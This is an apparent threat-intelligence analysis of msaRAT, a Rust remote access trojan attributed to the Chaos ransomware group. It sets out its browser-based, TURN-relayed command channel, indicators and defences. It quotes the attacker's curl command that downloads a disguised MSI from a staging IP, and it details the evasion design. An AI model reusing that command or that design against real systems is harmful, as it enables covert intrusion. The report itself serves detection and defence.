Summary
In April 2025, FBI Dallas seized 20.2891382 BTC from the wallet of an affiliate of the Chaos ransomware group — roughly two months after the group began operating. That is an unusual pace: law enforcement typically takes years to reach a RaaS operation.
A year later, Chaos returned with msaRAT — a Rust-based remote access trojan published by Cisco Talos on 23 July 2026. What makes it notable fits in one sentence: the malware process opens no network connections at all. It talks to 127.0.0.1 and nothing else. Every byte leaving the machine departs from a legitimate, fully signed browser process, bound for Cloudflare and Twilio infrastructure. The attacker's server address never appears on the wire.
This is not malware disguising itself as legitimate traffic. This is genuinely legitimate traffic, emitted by a genuinely legitimate process, to a genuinely legitimate destination — only the contents are malicious, and those contents are encrypted twice over.
Priority action: sweep every endpoint for Chrome or Edge processes running headless with remote debugging flags, particularly where the parent process is an installer or anything other than a user shell.
Background: Who Is Chaos
Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. The number of listings on their data leak site remains relatively low, but the group consistently targets large organisations and employs double extortion.
The Chaos ransomware leak site (source: Cisco Talos).
Their standard operating pattern: initial access via spam emails and voice-based social engineering (vishing); post-compromise, abusing remote monitoring and management (RMM) tools to establish persistent access while leveraging legitimate file-sharing software to exfiltrate data.
Three identity points worth stating clearly, because they are easy to confuse:
Not the 2021 Chaos. A ransomware family with the same name has existed since 2021. The Chaos group that emerged in 2025 is unrelated. When pulling IOCs or reference material, this is the easiest place to pick up the wrong data.
Likely a BlackSuit rebrand. Talos assesses the new Chaos as a rebrand of BlackSuit, based on similarities in encryption, ransom note structure and the toolset used in attacks. Some sources trace the lineage further back to Ryuk. Notably, BlackSuit's dark web extortion sites were seized by law enforcement in July 2025, immediately before the Bitcoin seizure was made public.
Already used by a state actor. Rapid7 documented Chaos being leveraged by MuddyWater (Iran-linked) to disguise cyber-espionage operations as financially motivated attacks. For SOC analysts this has a direct consequence: an intrusion tagged "Chaos" is not automatically plain extortion, and should not be triaged on that assumption.
Timeline
| Date |
Event |
| Feb 2025 |
Chaos activity first confirmed |
| 15 Apr 2025 |
FBI Dallas seizes 20.2891382 BTC (~$1.7M at the time) from bc1q5d8af0crjhlnepjq08muhh55899rf2ktye3sxd, belonging to an affiliate known as "Hors" |
| Jul 2025 |
Law enforcement seizes BlackSuit's dark web extortion sites |
| 24 Jul 2025 |
DOJ files a civil complaint in the Northern District of Texas seeking forfeiture |
| 28 Jul 2025 |
Public disclosure; the seized Bitcoin now valued at over $2.4M |
| 2025 |
Rapid7 documents MuddyWater using Chaos as cover |
| Aug 2025 |
Praetorian publishes research showing TURN infrastructure can carry C2 traffic |
| 23 Jul 2026 |
Cisco Talos publishes msaRAT |
The year between those last two entries is the part I find most worth thinking about, and I return to it in the assessment.
Kill Chain
The end-to-end infection chain (source: Cisco Talos).
Initial access via phishing email or vishing.
RMM tooling installed to maintain access inside the victim network.
After gaining access to a machine but before running the ransomware, the attacker executes a curl command to download an MSI file from their server into the ProgramData directory.
The MSI is executed; custom action CA_Run_EA2AEBC3 triggers upon completion of InstallFinalize.
That custom action loads lib.dll — embedded in the MSI's Binary table as Bin_lib_EA2AEBC3 — directly into memory.
lib.dll is msaRAT. The installer calls its exported function RUN.
msaRAT initialises the Tokio asynchronous runtime.
The RAT searches for the Chrome or Edge installation path via environment variables, falling back to the registry.
It launches the browser in headless mode via CreateProcessW, with flags enabling the CDP remote debugging port.
It sends an HTTP GET to /json/list/ to obtain the webSocketDebuggerUrl, then opens a CDP session over WebSocket.
It sends Target.createTarget to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.
It sends Page.setBypassCSP to disable Content Security Policy.
It issues Runtime.addBinding five consecutive times, registering: msaOpen, msaClose, msaError, msaMessage, dataAck.
It uses Runtime.evaluate to inject JavaScript embedded in the .rdata section into the browser.
The JavaScript sends a GET to a Cloudflare Workers endpoint to retrieve STUN/TURN configuration.
It creates an RTCPeerConnection and DataChannel, negotiating SDP with the C2 via Cloudflare Workers.
A WebRTC DataChannel is established through Twilio's TURN relay; Cloudflare Workers then drops out of the communication path entirely.
The RAT enters a waiting loop, listening for Runtime.bindingCalled events from the browser over WebSocket.
Command frames arrive from C2, are decrypted, executed via cmd.exe, and output returns along the same path.
Ransomware is deployed and a ransom note left behind.
The Free Firewall Test at Step 3
The MSI download command deserves a close look:
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi
Port 443 is specified, but the protocol is plain HTTP, not HTTPS. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic passes through entirely undetected.
It is a small detail that says a lot about how the attacker assesses target environments. They do not need TLS — they need a number the firewall will wave through. If your organisation has real protocol inspection, this step is where you catch them; if not, this is the proof that port-based firewall configuration is no longer a control.
Properties of update_ms.msi, configured to impersonate a Windows update (source: Cisco Talos).
Structure of the MSI file, with the DLL embedded in the Binary table (source: Cisco Talos).
Technical Analysis
Rust and the Tokio Runtime
msaRAT is written in Rust using the Tokio asynchronous runtime. Talos confirmed this from statically embedded strings in the binary — including TOKIO_WORKER_THREADS and the error message the number of hardware threads is not known for the target platform — which match source code from both Tokio and the Rust standard library.
During initialisation the malware determines its worker thread count: it reads the TOKIO_WORKER_THREADS environment variable first; if unset or empty it calls GetSystemInfo to retrieve the CPU count; if dwNumberOfProcessors returns 0, the worker count is set to 1. Tokio then starts and creates matching OS threads via CreateThread.
This architectural choice is not decoration. Thanks to Tokio, the RAT can concurrently receive frames from C2, send CDP commands to the browser, and process key exchanges without any operation blocking another. Specifically, even while an ECDH key exchange is in progress, reception and processing of other frames continues uninterrupted. For an implant that has to coordinate three communication streams at once — WebSocket to the browser, WebRTC outbound, and local command execution — this is a reasonable engineering decision rather than showing off.
Browser Discovery: The Single Weak Point
msaRAT tries six fixed locations drawn from environment variables, split between Chrome and Edge, in priority order, checking whether the file exists at each path. If nothing is found through environment variables, it falls back to a registry lookup — but for Chrome only.
And here is the most important sentence in the whole design: if no matching browser is found, the CDP manipulation is never executed.
This is msaRAT's only weak point. No Chrome or Edge, no CDP, no C2. The problem is that — as The Hacker News observed — on an enterprise Windows fleet, "needs one of these two browsers present and allowed out" is not a demanding requirement.
The CDP Control Chain
Chrome DevTools Protocol is a debugging API built into both Chrome and Edge — a developer tool, entirely legitimate, with no vulnerability involved anywhere here. msaRAT simply uses it exactly as designed.
After launching the headless browser with a remote debugging port, the RAT sends an HTTP GET to /json/list/. The browser returns a JSON array of connectable targets (such as tabs), each element carrying a webSocketDebuggerUrl field. The RAT opens a CDP session by connecting to that URL over WebSocket.
Over the established session, the command sequence runs:
Target.createTarget — creates a new tab
Page.enable and Runtime.enable — activate the JavaScript execution environment
Page.setBypassCSP — disables Content Security Policy, so the injected JavaScript is not blocked
Runtime.addBinding × 5 — registers callbacks that notify events between the browser's JavaScript and the RAT itself
The string table containing the binding names in the binary (source: Cisco Talos).
The five bindings registered are msaOpen, msaClose, msaError, msaMessage and dataAck. The first four are the origin of the msaRAT name Talos gave this family.
Once registered, the RAT uses Runtime.evaluate — the CDP feature for executing JavaScript in the browser — to inject code embedded in the .rdata section. That code is embedded in plaintext, unobfuscated, and consists of two functions: one initialising the WebRTC channel (injected once, at initial connection), and one dedicated to data transmission (re-injected each time the RAT sends a command, with the real payload substituted for {base64}).
Signaling via Cloudflare Workers
The browser-side JavaScript sends a GET to a Cloudflare Workers endpoint (is-01-ast[.]ols-img-12[.]workers[.]dev) at path /token/v1/{UID} to retrieve the STUN/TURN configuration as JSON. If this fails, window.msaError() notifies the RAT and the process terminates.
Two details in this request are worth recording:
Because the browser runs headless, the User-Agent identifies as HeadlessChrome. This is the clearest network-layer detection signal available — provided you can see it.
The Origin and Referer headers are disguised as originating from Microsoft's official website to evade detection. The response returns ICE server configuration: the STUN server (stun2.l.google.com) discovers the infected host's external IP address for NAT traversal, while the TURN server (global.turn.twilio.com) acts as a relay when a direct P2P connection cannot be established.
Why Cloudflare Workers? Talos lays out the rationale clearly, and defenders should read it carefully:
The destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning destination IPs fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, *.workers.dev is a platform domain provided by Cloudflare for developers — blocking it would broadly impact legitimate Cloudflare Workers deployments, making it structurally difficult for defenders to block.
Put differently: this is not a technical problem but an operational one. You can block *.workers.dev. You just cannot accept the consequences.
Forcing Everything Through TURN: A Deliberate Inversion
For WebRTC to work, both parties must agree on which address to connect to and what format to use. msaRAT generates an SDP Offer containing communication parameters, gathers ICE candidates to determine the optimal path, then POSTs the Offer to C2 and receives an SDP Answer. If ICE candidate gathering does not complete within five seconds, a timeout fires and the process forcibly continues.
The anomaly is in the SDP Answer returned by the C2: it contains no ICE candidates at all, and the connection address is set to 0.0.0.0.
In ordinary WebRTC this configuration is meaningless. Here it is entirely deliberate. By intentionally omitting the ICE candidates normally present in standard WebRTC communications, the attacker prevents P2P connections from being established, producing a design where all communications are always routed through TURN.
The consequence: by routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in network traffic. And the dual-layer infrastructure combining Twilio with Cloudflare Workers makes tracing the attacker's infrastructure significantly difficult.
This is the cleverest design decision in msaRAT: they sacrifice the performance of a direct connection in exchange for never exposing an address. For a group whose wallet was seized by the FBI a year earlier, that trade-off has clear logic behind it.
Double-Layer Encryption
By specification, the WebRTC DataChannel path is automatically protected by DTLS at the transport layer — handled entirely by the browser, independent of the RAT's code.
But msaRAT additionally encrypts the data itself using a ChaCha-Poly1305-based scheme before passing it to the browser, producing double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents.
The ChaCha-Poly1305 key is derived through an ECDH key exchange performed when the C2 connection is established: on receiving a Handshake frame (0xFE) from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key, and sends its own public key back.
For defenders this means TLS inspection at the gateway — if you have it — contributes nothing here either. You would see an encrypted binary payload inside a perfectly valid WebRTC channel.
Flow Control and Command Handling
The WebRTC DataChannel has a send buffer, and continuously sending data can cause new data to be dropped. The attacker implemented a queue and flow control mechanism to handle this: data is dequeued and sent when the buffer drops below 24KB. Talos assesses this design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers.
For command handling, rather than a simple "receive a command number, invoke the corresponding handler" structure, the RAT uses a two-layer architecture: an outer layer managing connection state and an inner layer processing frames. Two of the frame types carry a command string, which the RAT hands to cmd.exe for execution, with output returning along the same path. The remaining frames open and close channels, perform the key exchange, and kill the browser process.
The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20) — meaning there is no fixed channel name to signature on.
The Net Result
The communication flow among msaRAT, Cloudflare Workers, Twilio TURN and the C2 server (source: Cisco Talos).
After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events. Establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running inside the browser. Results are relayed back to the RAT through the registered bindings such as window.msaOpen() and window.msaMessage(base64Data); each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket.
Worth remembering: Cloudflare Workers serves the signaling relay and nothing else. Once the WebRTC connection is established, it drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.
The net result of this design: all network communication from the RAT process itself is limited to 127.0.0.1, and all external communication is observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.
Indicators of Compromise
Official IOCs (source: Cisco Talos IOC repository)
172.86.126[.]18 # staging server, serves update_ms.msi over HTTP on port 443
is-01-ast[.]ols-img-12[.]workers[.]dev # Cloudflare Workers endpoint used for SDP signaling
Host-based artifacts
# Files and paths
C:\programdata\update_ms.msi MSI impersonating a Windows update
lib.dll msaRAT payload, loaded directly into memory (never written to disk)
# Internal MSI structure
CA_Run_EA2AEBC3 custom action name, fires after InstallFinalize
Bin_lib_EA2AEBC3 Binary table entry name containing lib.dll
# Export function
RUN the sole exported function of lib.dll
# CDP binding names (origin of the msaRAT name)
msaOpen
msaClose
msaError
msaMessage
dataAck
# Bitcoin wallet (April 2025 seizure — source: FBI Dallas / DOJ)
bc1q5d8af0crjhlnepjq08muhh55899rf2ktye3sxd
Behavioural indicators — this is the part you can actually use
# At the process layer (the most reliable vantage point)
- chrome.exe or msedge.exe launched headless with remote debugging port flags
- browser process whose parent is msiexec.exe, an installer, or anything other than
a user shell / legitimate launcher
- curl.exe downloading a .msi file into C:\programdata\
- cmd.exe spawned by a browser process or by the RAT-related chain
# At the network layer
- Plain HTTP over port 443 (the MSI download) — only caught with protocol inspection
- User-Agent containing "HeadlessChrome"
- Requests to *.workers.dev with paths of the form /token/v1/{UID}
- Origin/Referer headers spoofing Microsoft's website on requests to workers.dev
- WebRTC/TURN connections to global.turn.twilio.com from workstations with no business need
- STUN queries to stun2.l.google.com accompanying the above
# At the loopback layer
- WebSocket traffic to 127.0.0.1 on the browser's remote debugging port
Cisco coverage
ClamAV: Win.Downloader.ChaosRaas-10060321-0
Snort 2: 1:66840, 1:66841, 1:66839
Snort 3: 1:301587, 1:66839
MITRE ATT&CK Mapping
| Tactic |
Technique ID |
Technique Name |
Observed in campaign |
| Initial Access |
T1566.001 |
Phishing: Spearphishing Attachment |
Spam email as access vector |
| Initial Access |
T1566.004 |
Phishing: Spearphishing Voice |
Vishing |
| Persistence |
T1219 |
Remote Access Software |
RMM tool abuse |
| Command and Control |
T1105 |
Ingress Tool Transfer |
curl.exe fetching update_ms.msi |
| Execution |
T1218.007 |
System Binary Proxy Execution: Msiexec |
MSI with custom action |
| Defense Evasion |
T1036.005 |
Masquerading: Match Legitimate Name or Location |
MSI impersonating a Windows update |
| Defense Evasion |
T1620 |
Reflective Code Loading |
lib.dll loaded into memory from the Binary table |
| Execution |
T1059.003 |
Windows Command Shell |
Command frames passed to cmd.exe |
| Defense Evasion |
T1562.001 |
Impair Defenses: Disable or Modify Tools |
Page.setBypassCSP disabling CSP |
| Command and Control |
T1090 |
Proxy |
The browser proxies all C2 traffic |
| Command and Control |
T1102 |
Web Service |
Cloudflare Workers as signaling channel |
| Command and Control |
T1071.001 |
Application Layer Protocol: Web Protocols |
HTTP/HTTPS during signaling |
| Command and Control |
T1573.001 |
Encrypted Channel: Symmetric Cryptography |
ChaCha-Poly1305 |
| Command and Control |
T1573.002 |
Encrypted Channel: Asymmetric Cryptography |
ECDH key exchange |
| Command and Control |
T1665 |
Hide Infrastructure |
Forcing traffic through Twilio TURN to conceal the real IP |
| Discovery |
T1518 |
Software Discovery |
Chrome/Edge discovery via environment variables and registry |
| Collection |
T1113 |
Screen Capture |
Flow control designed for large payloads such as screenshots |
| Impact |
T1486 |
Data Encrypted for Impact |
Ransomware deployment |
| Impact |
T1657 |
Financial Theft |
Double extortion |
Assessment
Michael Szeliga, one of the three authors of the Talos report, was asked which vantage point gives the best odds of catching this. His answer was concise: the most reliable place is at the host, specifically where the browser is launched with set parameters; from a network perspective, the initial negotiation is conducted over HTTPS.
I would argue that answer should be the entire defensive strategy for this threat class, because every other layer has been deliberately neutralised by msaRAT's design.
msaRAT inverts a foundational assumption of network security. We are used to the model where malware generates malicious traffic and disguises it as legitimate traffic to slip through — and our entire detection toolkit is built around finding where the disguise is imperfect. Here there is no disguise to find. The traffic is legitimate: emitted by a process validly signed by Google or Microsoft, bound for Cloudflare and Twilio infrastructure, encrypted per the WebRTC standard. Nothing is anomalous about the wrapper because the wrapper is entirely real. Only the contents are malicious, and those contents are encrypted twice.
On the seizure and the year in between. I opened with the FBI's 20.2 BTC seizure because it needs to be read alongside msaRAT rather than separately.
The seizure was a genuine success: 20.2891382 BTC from the wallet of affiliate "Hors", just two months after the group began operating, alongside the takedown of BlackSuit's extortion sites. On-chain tracing works, and it works faster than many people assume. This is worth raising when discussing the value of international cooperation and blockchain analytics with leadership.
But the rest of it needs saying honestly too: it did not stop them. A year later, the same group appeared with a Rust-based RAT, asynchronous architecture, double-layer encryption, and a C2 channel designed so that their own infrastructure address never touches the victim machine.
I do not claim there is a demonstrable causal link here, and I would not assert one. But the pattern is clear: when a group is successfully traced through its infrastructure and money flows, the next thing it invests in is the ability not to be traced. Praetorian demonstrated that TURN infrastructure could carry C2 back in August 2025 — Chaos did not invent this technique. But they are the group that put it into a live ransomware chain, and they had very specific reasons to.
The single weak point, and why it will not save you. msaRAT requires a Chrome or Edge browser present on the machine and permitted to reach the internet. In theory that is a removable condition. In practice, on an enterprise Windows fleet, it describes essentially every endpoint.
Relevance for Vietnam
Three points worth noting for the domestic environment.
First, port-based firewall configuration. This campaign's MSI download — plain HTTP over port 443 — is a direct test. In many enterprise environments we encounter, firewall rules are still written by port number, on the assumption that 443 means HTTPS. Without protocol inspection that assumption is wrong, and here it is wrong in an expensive way. Worth noting that this step occurs early in the chain, before msaRAT even starts.
Second, WebRTC has become background noise. After several years of remote work, WebRTC traffic from enterprise workstations is entirely normal — Teams, Zoom and Google Meet all use it. That means a baseline of "WebRTC is anomalous" no longer works, and that is precisely what msaRAT relies on. What does discriminate is which process emits the WebRTC and in what context: a headless Chrome process spawned by msiexec.exe that then opens a TURN channel resembles no video conference anywhere.
Third, the realistic detection window sits before msaRAT. This chain begins with phishing or vishing and moves to RMM abuse — and the RMM stage is where many organisations genuinely have a chance, because an unfamiliar RMM tool appearing on a workstation is a far clearer signal than a browser process. By the time msaRAT is running, you are behind the curve. Put another way: RMM control is the most effective defence against msaRAT, even though it has nothing to do with browsers.
Finally, a note on incident classification: because Chaos has been used by MuddyWater as cover for espionage, an intrusion bearing Chaos indicators should not be worked through a standard extortion playbook until the evidence supports it. Data being encrypted does not rule out that the data was read first, for an entirely different reason.
Recommendations
Hunt at the process layer first: alert on chrome.exe or msedge.exe running headless with remote debugging flags, and on any browser process whose parent is msiexec.exe or an installer. This is the most reliable detection point according to the research team itself.
Enable protocol inspection instead of port-based filtering: firewall rules assuming "443 = HTTPS" are exploited at the very first step of this chain.
Control RMM tooling: maintain an approved list of RMM tools and alert on anything outside it — this is the most realistic detection window, and it sits before msaRAT is deployed.
Block the two official IOCs (172.86.126[.]18 and the workers.dev endpoint) but do not treat them as a control — both can be swapped out tomorrow; invest in behavioural detection instead.
Monitor WebRTC by process, not by protocol: baseline which processes on a workstation are expected to open TURN channels, and alert on anything outside that baseline.
If compromise is suspected: isolate the host, capture a memory image before powering down (the payload never touches disk), and work the chain backwards to the RMM stage and initial access — msaRAT is one of the last steps, not the first.
References
